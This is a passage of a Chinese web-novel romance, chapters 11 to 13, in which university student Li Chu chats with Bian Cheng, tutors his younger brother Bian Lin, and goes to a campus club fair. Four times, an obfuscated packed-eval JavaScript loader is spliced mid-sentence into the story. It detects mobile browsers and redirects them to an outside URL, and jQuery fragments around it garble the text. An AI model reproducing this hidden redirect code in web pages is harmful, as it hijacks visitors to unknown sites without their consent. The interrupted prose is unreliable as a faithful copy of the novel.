边程不甚在意地瞥了眼身边的位置，“学姐不坐下来吗？” 黎初顺着他的目光看了过去，突然想起他们今晚最开始的交集——她就坐在这里和爸妈吵了一架，然后碰到了他，他肯定全都看到、听到了。 身子一下子就僵硬了，她连忙摆手，干笑着说：“不了，刚刚坐久了，我站站。” 该死的，她怎么忘了这一茬！ 黎初背过手，狠狠地掐了一下胳膊。 丢人，实在是太丢人了！ 黎初用力闭了闭眼，已经做好了被问的准备，再次睁开之时，预想中的声音并没有出现。 边程依旧坐在那里，迎着月光撑着头望着她，眼底的神色没有一丝一毫的变化。似是察觉到她的疑问，他问：“怎么了？” 黎初本能地想摇头，可不知是被视线引诱还是月色蛊惑，她鬼使神差地反问：“你不问我刚刚发生了什么吗？” 男生明显怔了一下，很快反应过来笑道：“每个人都有自己不想说的事情，这很正常啊。” 他放下手撑在身后，向后仰去，“况且学姐已经有了自己的选择了不是吗？” 他虽是笑着，但眼里却是无比认真，“那就坚定你的选择往下走，不要为了旁人改变你的想法，毕竟他们又不知道你到底发生了什么。” 非常有道理，说到黎初心坎上了。 不过她有些哭笑不得，她这是被一个小孩委婉宽慰了？ 不管怎么样，她心情确实好了许多，于是她朝边程抿唇一笑表示赞同，“确实如此。” 末了，犹豫了一番又添上了一句：“不过还是谢谢你啦！” 方才弥漫在心间的沉闷云雾散去了不少，眼见着面前的男生坐直起来像是想要客套一番，气氛说不定又要尴尬起来，黎初目光一转，急忙转移话题：“你今天没带手表吗？” 她看向边程的手腕。 边程表情空白了一瞬，坐直身子收回手，果然没有张口的意思，顺着她的目光看了眼手腕，迷茫道：“什么手表？” 黎初被他这反问问得噎了一刻，才说：“就那天……” 两周前报道那天你不是才戴了吗？ 剩下的话语没说完，边程忽然就抬手摸向了口袋。 黎初只觉得这动作无比眼熟，好像与两周前的动作相似度有百分之八十。 莫名的，黎初心里警铃大作，忍不住死死地盯着他的手。 两秒后，边程从口袋里掏出来了无比正常的——一部手机。 心里说不出来的松了口气，黎初恍然大悟：原来是今天有手机，所以才没带电话手表。 边程抱歉地朝她笑了笑，指了指手机，“我可能得先接个电话。” 黎初忙道：“不用管我，你接就好了。” 边程当着她的面接通了电话，电话那头应该是个男生，声音听不太清，断断续续的，边程嗯了两声，最后说了句知道了马上来就挂了电话，重新抬眸看来。 应该是他哥等护腕等急了吧，黎初心想，下一句不出意外的话应该是道别了。 相遇的时间总是短暂的，不过也是好事，再多和这个未成年待在一起，她可不一定能坚守住道心。 她目前还不想三年起步，最高死刑。 一句再见都快到嘴边了，黎初猝不及防听到： “学姐刚刚说什么手表？” 差点一口气没提上来，还好黎初反应快：“没什么，就是突然想到了，你今天不是带了手机了吗？” 边程看上去更迷茫了：“这跟手机又有什么关系？” 这不很显而易见吗？！ 黎初在心中呐喊。 可男生的目光干净，只眨巴着眼睛盯着她。 黎初无声叹息，败下阵来解释道：“一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223436|181627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带手机不就不带手表了吗？” 边程眼中的迷茫一下子褪去了，“确实。” 黎初满意地准备颔首。 “但我有的时候也会带，看心情吧。比如……” 黎初：…… 没人在乎这个啊！果然某地瓜软件说的小孩哥就是喜欢电话手表都是真的！ 难道要听一遍他和小天才电话手表的故事吗？！ 黎初嘴角抽搐，思考了一秒钟后，决定把自己几分钟前的心里话说出来：“你哥是不是催你了来着？” 边程一下子没声了，紧急看了眼手机，唰地一下站了起来。 黎初谨慎地后退一步，以防误伤。 “那我先走了？” 此句让人如听仙乐耳暂明。 黎初点头如捣蒜：“好，拜拜。” 男生快速地跳下台阶，黎初走到栏杆边，看到他在跑道上，突然转过身来倒着走，目光锁定过来，摆了摆手。 轻风拂过，扬起他的碎发，黎初从未如此清晰地意识到自己的夜视力是这样好，竟连走出百米远的人勾起的唇角都能看清。 她放下胳膊，这才发现刚刚自己似乎也挥了挥手。 一定是今晚短时间内发生了太多，她有些累了，否则怎么连这都没感觉，还是早点回去洗洗睡吧，黎初笃定地想。 * 从浴室里出来，黎初躺回床上看会手机就准备睡觉了。 微信的图标边有红色的小圈圈，她点开。一条是老爸发的： 【你妈想让你多锻炼锻炼自己，她也是为了你好。】 若是放在一小时前，她看到这条消息应该会失望，但现在她已经调理好了，锻炼自己又不只有学生会一条路。 于是她回了一句：【我会看着办的。】 老爸回得很快：【好。】 退出对话框，她刷新了一下，突然跳出来了一条新消息。 是林修表弟：【在吗？】 出于礼貌，她回复：【在。】 【学姐之前说的可以问你问题还作数吗？】 【[可怜][可怜]】 黎初：…… 怎么把这一茬忘了？ 但自己说过的承诺自己跪着也得兑现，她打字：【当然】 对面秒问：【那现在可以吗？】 黎初：…… 她咬着牙微笑打字：【可以】 还没发出去，对面的消息又传来了：【学姐现在心情好点了吗？好点了的话我就问，不好的话我明天再来。】 一张熟悉的萨摩耶打滚表情包又出现在对话框里。 黎初哭笑不得，什么叫心情好点了就问，难道通过前面那两个字当然就能看出来她心情不好？林修他表弟也忒敏感了，和他头像气质简直相差十万八千里。 对面不发消息了，应该在等她回，黎初遂了他的愿：【好点了，你发过来吧。】 对面毫不客气地甩来了一张图，黎初半只脚都踏出床了，点开一看，是她的笔记例题，她又默默地把脚收了回去。 表弟的消息接着来了：【这题最后一步没看懂。】 黎初一看，是要用个公式，可能他们老师上课没讲到，于是给他百度了一下发了过去。 表弟估计在潜心研究，黎初打了个哈欠，继续躺了下去。 眼皮越来越重，困意如浪潮般涌来。 不知过了多久，手机忽地一震，她眯着眼点开，一道男声低低地响在耳边：“谢谢学姐，晚安。” 有些熟悉，但来不及细想，她的意识就滑入了黑暗。 11. 新路 再醒来的时候，床帘缝隙已经隐隐透着光了。 黎初眯着眼睛坐起来，刚想打个哈欠，就被面前突然出现的脸吓得咽了回去，人一下子清醒了。 常姝坐在床边，撑着帘子看着她，一句话也不说。 大早上的这表情着实有些瘆人，黎初被她看得心里一阵凉飕飕的，忍不住向后挪了两下，拽紧被子，咳了两声才弱弱地问：“怎么了？” 常姝冷笑一声，默不作声地爬上了床。床板发出咯吱咯吱的细微声响，在寂静的环境中无比清晰。 黎初心里更慌了，回头抱了个枕头在怀里，故作镇定道：“到底怎么了？” 常姝一直爬到她面前才停下，直直地盯着她。 黎初盯着她的眼睛，忍不住咽了咽口水，在她面前比划了两下，问：“梦游了吗？” 常姝朝她翻了白眼，坐了下来，顺便从她手上夺走了枕头，语气凶狠：“说！你昨天晚上……” 昨天晚上怎么了？ 黎初努力回想了一下，她也没干啥啊，很早就睡了，难道是睡觉的时候打呼了还是磨牙了？ 不应该啊，她从小睡觉就老实，没这习惯。 黎初挑起眉，眼里尽量带着迷茫和疑惑看向常姝，摊开手。 常姝啧了一声，用枕头拍了她一下，忽然换了口吻：“昨晚跟谁打电话呢？” 无比八卦、无比调侃。 黎初：…… 什么玩意儿？ 她昨晚梦游给人打电话了？ 吓得她赶紧打开了手机看了眼通话记录，最新一条是昨晚，但是是八点多，备注：老爸。 悬着的心一下子放了下来，黎初打了常姝胳膊一下，“打什么啊，谁都没打！” 常姝吃痛地捂着手臂，皱着眉怀疑地看着她，嚷嚷道：“不可能，我们都听到了！不信你问何姐和于老师。” 黎初啪地一下拉开床帘往下看，她的另外两个室友何嘉和于昕翘着二郎腿、抱着臂，眼里是如出一辙的八卦，异口同声道：“就是！” 黎初：……？ 冤枉啊！她真没有！ 常姝环住她的脖子，威胁道：“你好好想想，老实交代！” 黎初最受不了她这个姿势，急忙求饶：“好好好，你先放开，让我下去洗漱一下，正好想一下。” 十分钟后，黎初拘谨地坐在自己的位置上，前面围了三个魁梧的女子。 她眼神流连过三个人，最终小心翼翼地试探道：“可不可以……稍微给我点提示？” 面前三人同时挑起了眉。 黎初战术后仰，但背已经抵上了桌子，“比如……大概什么时候？” 面前三人交换了一番眼神，最后由常姝发话：“就九、十点吧，当时我们都以为你睡着了，结果突然响起了一个男声，还跟你说晚安。” 黎初：…… 原来如此。 她噗嗤笑出声，又有信心重新站了起来，“我还以为什么呢，就林修他表弟问我题目，我给他解释了一下，他跟我说谢谢。” 笑了两声，突然发现面前三人表情还是没有变，黎初的嘴角一下子僵住了。 何嘉一下子把她按回了原位，问：“林修他弟为什么找你问题？” 黎初感到莫名其妙：“是我笔记上的题，他弟之前还找我要了笔记呢。” 于昕眯起眼睛，“他问题就问题，怎么还和你说晚安？” 黎初更莫名其妙了：“夜深了这不挺正常的？他前面还是了句谢谢。” 常姝深深地叹了一口气：“就这？” 黎初无比莫名其妙：“就这。” 三人同时转身，黎初站起来问：“怎么了？” 何嘉忿忿丢下一句：“我还以为咱们寝室第二位脱单的要来了。” 于昕回头，似是不死心：“真没情况？” 黎初扶额叹气：“面都没见过一次，有什么情况？” 常姝唯恐天下不乱：“哎哎哎可以见的，我带你去见。” 这下轮到黎初冷笑了：“婉拒了哈。” 常姝：。 “好了，知道你还没放下那个小帅哥了。”常姝半开玩笑道，眼看着黎初又要凑过来打她，她赶忙举手投降，“停停停我开玩笑的！我今天还有事找你。” “没门！”黎初环起臂，重新做回位置。 常姝立马凑过来撒娇摇她手臂，黎初又不争气地心软了，“你先说什么事。” 一听有戏，常姝眼睛一亮，“林修他亲戚想找个数学家教，我最近不是在忙招新嘛，你有兴趣吗？” A大认可度很高，挺多人出去当家教的，当然，不包括黎初。 秉持着周末能躺就躺的心态，这种业务她之前看都不看。 “先别急着拒绝，听我说完。” 黎初刚想开口，就被常姝打断了，无奈只能听她继续说：“每周六下午两点到四点，一次三百块。说是家教其实就是监督一下他写作业，顺便解答一下，而且那小孩才小学六年级。” 三百块两小时，在大学生家教里算是超高薪了，而且这上课要求看起来也不用备课，看上去无比轻松。 但黎初是那种能被钱诱惑的人吗？ 平心而论不是，但给的太多了，她有点心动。 常姝见她不说话，又趁热打铁：“你可以今天下午去试一下，反正钱都是每次现结。实在不行就当帮我这周顶替一下，下周我招新完了就好了。” “而且pubg不是出了新皮肤吗？我记得你之前说要买来着。” 绝杀。 黎初在心里估算了一下价格，最终屈服了。 昨天还想着不止学生会一条锻炼路，今天这新的路就来了，不知道的还以为她有言灵，不过她会安慰自己，至少这条路有钱拿。 * 大热天在阳光下暴晒骑车，人生地不熟全靠导航绕来绕去花了得有半个多小时才找到小区门口，其实黎初已经有点后悔了。 但无论如何来都来了，硬着头皮也得上完今天这两小时，黎初无声叹了口气，快步走了过去。 保安严格地登记了她的信息，才放她进去。 在外面的时候看到这小区外观的时候，黎初就明白了这家人怎么能出得起这么高的家教费了。 灰色大理石平铺至门口，门前一座假山喷泉，水流在阳光下波光粼粼。整座门威严矗立着，由黑色与金色的大理石砖碰撞而成，富丽堂皇，不像小区，像酒店大堂。 在这种小区找单元楼也是一种痛苦，好不容易找到了楼栋输入了门牌号，铃声响起的时候，黎初才意识到她竟然真的答应了常姝跑去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223437|181627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了家教。一种强烈的想逃跑感自心底而升，她忍不住捏紧了书包肩带。 里面的雇主可能心有灵犀，铃声没响了几秒就变成了一道女声，根本不给她往下思考的机会。黎初努力平复着声音的抖动，告知她来历。 门很快开了，坐电梯的时候黎初已经打好了无数次腹稿，只不过在开门的一瞬间她一下子哑火了。 一张明显稚嫩的男孩脸庞抵在门边，大眼睛滴溜溜转看着她，眼神清澈得有些傻气。 紧接着这男孩就被拉走了，门一下子敞开了，开门的女人朝她仓促一笑：“是黎小姐吧？” 说着便弯腰给她拿鞋套。 黎初赶忙鞠躬应答：“是的，是程阿姨吗？” “不是不是，我是他们家做饭阿姨，我姓李。”她笑着直摆手，“程总出差去了，今天不在家。” 一来就认错人了，黎初尴尬得有些手足无措，只能点头应承。 目光不受控地乱飘，一不小心就移到了李阿姨身后的人。 刚刚没注意到，六年级男生身高竟然和她差不多，虽然脸上还有明显的婴儿肥，但漂亮的五官可以看出来这小孩长得挺不错，甚至还有些熟悉。 来不及细想，男孩正好也在看她，直接一个跨步过来，直视着她，“你就是我妈派来监督我的家教？” 听起来有些来者不善，黎初没忍住向后退了一小步，嗯了一声。 男孩歪了歪头，“你是A大的？” 难道程阿姨没和他说吗？ 黎初看不懂他的意思，但还是照旧点头。 男孩点头，看上去颇为满意，清了清嗓子煞有介事地说：“我是边霖，就是你今天要监督的人。” 虽然不知道他在满意什么，也不知道他在装腔作势什么，黎初也被带得严肃了起来：“我是黎初，你可以叫我……” “黎姐姐！”男孩眼睛弯了弯，声音已是转了八百个弯，仿佛刚才的样子不是他似的。 黎初：…… 怎么看上去又好相处了？ “黎姐姐来书房吧，数学作业我已经写差不多了。”边霖转过身，踩着拖鞋哒哒跑向最里面的房间。 李阿姨也笑着朝她颔首，黎初只好按下心中的疑惑跟了过去。 书房干净整洁，桌前有两个椅子，边霖已经坐在了左边那个，拿着一个练习册邀功似的往右边推了推。 黎初接过坐下，不忘叮嘱他：“接着写其他的吧。” 边霖立刻拿起笔，看上去无比乖巧。 对了一遍答案，除了喜欢省略步骤之外，边霖做的基本上都是对的。 黎初原本都做好了要讲解的准备，这下直接没了用武之地。她着实有些好奇，对这种小孩家长为什么还要高价找家教呢？ 半小时之后边霖给出了答案。 先前没注意到，桌子上摆着一个小天才电话手表。应该是不停地有消息进来，那屏幕隔一会就要亮一下，边霖的眼睛也一会瞟一下。 怎么回事，这电话手表之前毁了她的情场，现在还要阻碍她的职场？ 仔细观察一下，连型号都一样，要不是人不一样黎初简直怀疑是同一块表。 她真是被这电话手表做局了。 无意识地抵紧了后槽牙，黎初暗下决心：得想办法把这手表给解决了。 12. 家教 在边霖第二十次瞟向手表的时候，黎初以迅雷不及掩耳之势把手表抓在了手上。 边霖身子明显一抖，心虚地朝她看了过来。 原本想要义正严辞批评他乱瞟的行为，但看他那样有些可怜，脑中也想起了自己当初求爸妈想玩会游戏的模样，黎初又不争气地心软了。 但原则不能丢，她努力板起脸，声音尽量绷紧：“不是不给你玩，你想要玩的话，写完一科我给你玩五分钟，语数英三科一共十五分钟，怎么样？” 边霖抿了抿唇，问：“那我刚刚写完了数学……” 黎初：…… 怎么把这一茬忘了？ 算了，舍不得孩子套不着狼。 黎初慷慨放下手表，说：“可以，掐表，从现在开始计时。” “谢谢黎姐姐！” 边霖反驳都不反驳一下，啪地放下笔，争分夺秒地看了起来，速度快到令人叹服。 黎初：…… 他看上去已经完全沉浸在手表的世界里了，黎初有些担心之后变卦，于是又强调了一遍：“写的时候就得好好写了。” 边霖手指在不到巴掌大的屏幕上点个飞快，就这样还能在百忙之中抬头欢快地嗯了两声应付她，黎初一时之间哭笑不得。 时间很快就到了，黎初毫不留情地从边霖手上拿走了手表。 边霖的眉眼一下子耸搭下来了，看上去颇为伤心。 不过现在黎初不吃这套，直接帮他把桌子上的英语作业拽过来放到了他面前。 见边霖磨磨蹭蹭地翻页，大有翻到地老天荒的架势，黎初略思片刻，计上心头，“你看啊，你只有语数英三门课作业是吧？” 边霖不明所以，但还是点了点头。 这就对了！ “你不是已经写完数学了吗？”黎初循循善诱，手指点在英语作业本上，“那你只有英语和语文作业了不是吗？” “写完英语就又能玩五分钟，这样就只剩下语文了对不对？那我们的任务是什么？是写完作业就行！那是不是写完语文剩下的时间就都是你的了？” 万事不决先画饼。 这是黎初从小到大吃了无数个空饼悟出来的道理。虽然她对这种行为深恶痛绝，但此时已经没有别的方法了。看着边霖迷茫的眼神，黎初在心里默念了好几声罪过罪过。 边霖迷茫的眼神持续了一秒后消失得无影无踪，转化为肉眼可见的兴奋，黎初原本忐忑的心一下子平静了下来。 计划通！ 黎初赶忙拿起桌子上的笔递到他手上，“快写吧。” 边霖还不忘确认一番：“你说的哦？” 黎初回想了一下来之前和程女士的交流，确实只是叫她负责保证边霖的作业写完和讲解，并没有说剩下的时间如何安排。 大不了到时候再问问程女士怎么办，先稳住这位小祖宗。 得到她的肯定，边霖欢呼一声，立刻写了起来。 黎初在边上拿着他的数学作业假装还没看完，偷瞥了他好几眼。 多看了两眼之后，她心里暗叫不好。 不知道是被她那大饼激得还是别的什么原因，边霖的效率一下子上去了，手下字母写得唰唰快。 她又看了眼桌上的时钟，现在才过去半小时，这样下去估计真得摇人了。 果不其然，十分钟后边霖就放下了笔。 黎初拿过来一看，和上一本一样，依旧是准确率极高。 男孩眼巴巴看着她，黎初故作轻松，把手表交给了他，接着又超绝不经意问他家卫生间在哪。边霖毫无察觉，还细心给她指明了方向。 李阿姨坐在客厅沙发上，见她出来还跟她打招呼，黎初只能回以尴尬一笑。一进卫生间，关上门，她立马掏出了手机，点开了微信。 程女士的对话框就在眼前，黎初删删改改措辞了半天，最后发现再不发送，恐怕等不到程女士回复，她就得回去收手表了。 发完之后，她立刻把手机熄屏，仿佛这样就能当作什么都没发生。只不过没想到的是，程女士会得还挺快的，没过两分钟，她的手机就震了一下。 点开一看，是一条语音。 黎初闭上眼，手指放在语音条上，视死如归。 “他今天这么配合吗？是只剩语文了是吗？” 万万没想到程女士只问了这些，语气还带了一丝惊讶。 黎初赶紧回：【是的。】 语音回复很快，她这次先点了转文字：【那做完语文今天就这样吧。】 黎初瞪大双眼，这样就可以了？ 还没来得及回复，消息又到了，这次是文字：【可以现在和你打个电话吗？】 怎么转变成要打电话了？ 黎初感到一阵呼吸不畅，她这算不算搬起石头砸自己的脚？她还能拒绝不成？ 回复完好之后程女士的语音通话一下子打了进来，黎初手忙脚乱地接起。 “小黎是吧？” “是的，阿姨好。” 五个字，三个字都在抖。黎初简直想给不争气的自己一巴掌。 程女士察觉到了她的紧张，轻轻笑了一声，“不用紧张，我只是想问问，边霖之前让他写作业就要死要活的，让他写个作业能磨蹭一天，没想到这么听你话，你是怎么做到的？” 对面女声温柔平缓，极具亲和力。黎初的心不自觉被带动得平和了下来，组织了一下语言就把自己的所作所为一五一十说了。 程女士沉吟片刻，说：“原来是这样，我和他爸平时有些太一棒子打死所有了，只要我们在家就把他手表锁起来了。” 其实这才是大多数家长的做法，黎初在心中默默吐嘈。 电话那边似乎有人在叫程女士，她很快说：“平时都是他哥哥管他，但他哥今年上大学去了，有时候回不来。今天谢谢你了，之后我和他爸会反思一下的。” 前面倒还好，但听到最后一句黎初实在有些恍惚了。 想到昨天才和父母吵过的架，重新推开边霖的房门，视线落在边霖身上，对于这个才十岁出头的小孩她竟有些羡慕。 但现在不是想这个的时候，黎初把情绪压在心底，朝边霖伸出了手，“还差一门语文就结束了。” 边霖趴在桌子上假哭撒娇，但挣扎无用，手表还是到了黎初手里。 看他这样，又想到了刚刚程女士说的，黎初没忍住问：“你哥之前怎么管你的？” 边霖一下子坐直起来，眼神里的愤然快要满溢出来，他一拍桌子，“他会把我按在桌子前面写，不写的话就把我的手表软件全卸了，晚上趁我睡觉把壁纸换成三个字。” “什么字？”黎初被他这样子弄得也正襟危坐起来，作洗耳恭听状。 边霖深吸一口气，像是从牙缝里挤出三个字一样，一字一顿：“我是猪。” 天知道黎初废了多大劲才没笑出声。 边霖瞥了她一眼，故作深沉叹了口气道：“想笑就笑吧。” 黎初把这辈子难过的事情都想了遍，最后问：“那你发现不就可以换回来了吗？没事的……” 话还没说完就被打断了，边霖挤出一个微笑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223438|181627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他把我屏幕锁了。” 黎初的手掌下移，精准地捂住了嘴。 狠，这招太狠了。 这对自尊心超强的小孩哥来说简直绝杀！ 黎初用另一只手把语文作业拽了过来，试图转移话题：“先写作业吧。” 边霖翻页翻出了杀人的感觉，书页哗哗地响，黎初在一旁咬住嘴唇艰难忍笑。 “对了，黎姐姐有男朋友吗？”边霖突然停止了翻作业。 猝不及防一个毫无关联的问题，黎初瞪大了双眼。 什么意思？她只是家教啊，这是要干什么？现在跑还来得及吗？ 出于谨慎，仅用了0.1秒黎初便选择了点头。 面前男孩看上去像是松了一口气，老气横秋地说：“那就好，我哥现在也在A大，像你这样好的姐姐可千万不能让他这样的人便宜了。” 他哥知道他这样编排自己吗？ 黎初啼笑皆非，但还是配合地说好。 “不过黎姐姐你是学数学的对吧，我哥学的计算机，确实应该碰不到一起去。” 等一下，计算机？ 黎初心中一动，之前林修那个来找她要笔记的学计算机的表弟，不会是边霖的亲哥吧？ 确实有这个可能，毕竟常姝说这家也是林修亲戚来着。估计十有八九是了，她在心中敲下了定论。 姓边，计算机。 黎初脑海中又浮现了一个身影，他的玩笑话似乎还在耳边回荡：“每次说这名字别人第一反应就是电脑那个编程。” 这个姓不算常见，不会这么巧吧……？ 但是他应该年龄对不上吧，毕竟和边霖一样，还在爱玩电话手表的年纪，甚至这手表型号都一样。 “黎姐姐？” 一声呼唤将她拽回现实。边霖拿着笔，指着作业上的一处。黎初立刻挺直背，打起精神凑过去解答，方才的猜想全都丢到了爪哇国。 管他是谁，现在最重要的是她的家教生涯！ 这节课结束之后，黎初看到程女士的300转账，严格按照一个半小时的课时又转回了75，虽然程女士没收。 她只好转给了林修。林修一开始回了个问号，但知晓前因后果之后帮她转交给了程女士，并且带来了一句话：【姑姑挺满意你的。】 黎初长出一口气，她这个家教生涯的开头应该算过关了吧？ * 与此同时，远在几公里之外的边程收到了便宜弟弟莫名其妙的消息：【[刀][刀]】 他正在写作业，高抬贵手发了个：【？】 转念一想，好像昨天老妈说今天要给边霖请家教来着。看这样子，是相处不好？ 顿时有些幸灾乐祸，边程放下笔：【和家教相处咋样？给你个机会要不要你哥回来？】 边霖回得飞快：【滚，人家比你好多了！】 哟，才第一节课就被搞定了？边程挑起眉。 【人家是个超级漂亮的大姐姐，又温柔又善解人意！】 边程嗤笑一声，打字：【哦，关我什么事？】 【确实不关你事啊，人家有男朋友了。像你这种只会晚上偷偷换我手表壁纸的人只配单身一辈子。[刀]】 就说怎么突然发神经，原来还在记着这事。边程摇头低笑。 “笑啥呢？别忘了明天晚上有百团大战啊。”躺在床上的沈默伸出一个脑袋。 “知道了，陪你去。”边程应了一声，顺手回了边霖一个中指之后便放下了手机。 百团大战他没什么兴趣，就当是散步了。 13. 招新 百团大战，就是A大的社团招新，一般会挑在开学后的某一个周末。 那一天各种社团会在学校内划分的专门区域内摆台，方便宣传。 黎初对这种活动持有的态度一直是听听就好。当初和常姝一起报名学生会就已经在她的预期范围之外了，对于社团她更没什么想法，所以先前干脆看都没去看。 去年都没参加，今年就更没有必要去凑热闹了。 当然，这是黎初的想法，想得也很好，但有人不同意。 黎初看着边上头枕在自己肩上、手死死拽着自己胳膊、椅子紧紧贴着自己腿的常姝，颇感无奈，“去年不是有百团大战吗？我记得你去了啊。” 常姝抬起脑袋，皱着眉可怜巴巴地望着她，“去年不是在路上刚去到一半部长通知开会吗？你忘了吗？” 黎初身子一僵，回想了一下，好像是有这么一回事。 当时学生会录取通知刚发下，部长通知开会，主要让成员自我介绍互相认识一下。常姝当时刚接到消息好像还在微信上跟她吐槽了。 “你忘了！”她的异样怎么能瞒得住常姝这个鬼机灵的，当即就被逮了个正着，“你是不是不爱我了？罚你今天和我一起去逛！” 后一句语速快得起飞，生怕她打断似的。 黎初眼睛一转，故意逗她：“到底是让我陪你去逛百团大战还是去见某一个人啊？” 林修是读书会会长，百团大战招新他不在的概率为零。 果然听到这个常姝不淡定了，头也不枕了，手也不拽了，一下子就站了起来，“怎么可能？我是这样的人吗？” 黎初忍笑，煞有介事地点了点头。 常姝眼睛都瞪圆了，眼里满是不可置信。 黎初抬起头和她对视一秒就破了功，笑出了声。下一秒，一只纤细的胳膊就带着威胁缠上了她的脖子，黎初赶忙求饶：“我错了，马上陪你去！” “这还差不多。”常姝收回手臂，满意地说。 * 对于A市的气候总有一句俗语：A市没有春天和秋天。即使现在到了九月底，气候依旧维持在二三十度，没有丝毫转凉的迹象。 百团大战全天都有，黎初和常姝都清楚她们本质是去看看热闹，没必要挤在热量翻腾的白天，于是等到吃完晚饭才慢吞吞从食堂晃过去。 傍晚五六点，太阳虽然还悬挂在空中，但总算收敛了灼人的光线，非常适合散步。 今年的招新地点在西广场，刚走近那边黎初就有点想逃了，但被常姝挽住了手臂，动弹不得。 她们都忘记了：她们知道天气热，别人也知道啊！ 离西广场还有百米的距离，就能看到一眼望不到头的帐篷支在两旁，里面的招新工作者正热火朝天地向外递着各式各样的传单。夹在帐篷之间的空地黑压压的站满了人，看上去下脚都费劲，根本不敢想象挤进去会变成什么样。 “还去吗？”黎初无声深吸了一口气，看向身侧的人。 常姝气势瞬间短了一截，哂笑道：“来都来了。” 面前挤在一起的人群突然爆发出了一阵响亮的喝彩声，把两人吓了一跳。 人流攒动起来，露出一点缝隙，黎初透过缝隙艰难望过去，原来是动漫社有人在cosplay，刚刚应该是在宣传，所以才围了一大群人。 趁着人流散了一些，黎初和常姝挤了过去，才发现里面的人数没有想象中多，稀疏了不少。 “合着都在外面看热闹啊。”常姝感叹道。 “动漫社本来就是大社团吧，还好是放在最外面了，不然在中间堵住了不敢想。”黎初谨慎道。 “不管了，先逛我们的。”常姝已经开始四周张望了，不知道看到了什么，她拍了拍黎初的胳膊，指着一处说，“哎你看那个，你要不要试试啊？” 她挑着眉，嘴角勾起，一看就知道憋着坏水。黎初顺着她的视线，一眼就看到了电竞社三个字。 黎初冷笑一声，没有理会，只四下看了看找准了目标，拽着她就要往某处走。 “哎哎去哪啊？”常姝满头雾水。 黎初抬了抬下巴，“这不是省了你许多事吗？” 读书会三个字在横幅上无比显眼，常姝立刻就像炸了毛的猫一样迅速抽回手，躲在她身后。 “做贼啊？”黎初笑着问。 “我特意跟他说了今天不去百团大战。”常姝压低声音，在她身后说。 黎初看了眼站在帐篷下的人，遗憾道：“迟了。” 刚挤过来的时候她就感觉到似乎有一道目光一直在往这边看。起初她以为是错觉，结果就在刚刚，她在找读书会的时候正好和那道目光撞在了一起。 林修看起来完全没想到她们能这么快找过来，愣了一下，但很快就朝她微笑着点了下头，指了指她的身后。 黎初回过身，握上常姝的肩膀把她往那边推，“别挣扎了，他已经看到你了。” 常姝哀嚎了一声，但身子也没反抗，任由她推着往那边走。 刚一走近，林修就递过来两瓶矿泉水，黎初接过一瓶，非常有眼力见地往边上背过身一站，假装看天。 “不是说不来吗？”林修声音含笑。 “这不是正好无聊吗？”常姝说到最后声音越来越弱。 黎初拧开瓶盖，偷偷望边上瞥了一眼，正好看到林修屈指在常姝额上弹了一下。 宛如触电一般，她赶紧收回了视线，抬手喝了好几口水。 今晚狗粮是吃饱了，黎初在心里叹道。 边上两人估计还得聊两句，太阳已经西沉了一些，天色在不知不觉间变暗了不少，黎初百无聊赖地往空地处张望。 几个衣着时尚的女生拖过来一个大音响，黎初的目光一下子被吸引了过去。 A大的舞社还是比较出名的，各种活动都有她们的身影，这次百团大战来跳舞招人也在意料之内。 那处空地迅速围上去了不少人，黎初有些蠢蠢欲动，悄悄看了眼边上的常姝。 好在常姝也注意到了那处，凑了过来问她：“去不去看跳舞？” 正合她心意，黎初点了点头。 常姝没有丝毫留恋地和林修告别：“我们要去看跳舞了，你自己待在这吧。” “好好好，去玩吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223439|181627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”林修拿她完全没办法，无奈笑了一下，叮嘱道，“那边可能会比较挤，小心踩踏。” “知道了！”常姝重新挎住黎初，拉着她往那边跑。 黎初艰难回头挥了挥矿泉水瓶当作告别了。 周围所有人似乎都在往那边赶，黎初只感到边上无数人影飘过，带起阵阵微风，再转头之时，她的头正撞上了一处硬物。 一瞬间，疼痛从额上炸开，传遍全身，黎初几乎是立即闭上眼捂上了脑门。 边上常姝的惊呼声和男生的闷哼声重叠在一起。 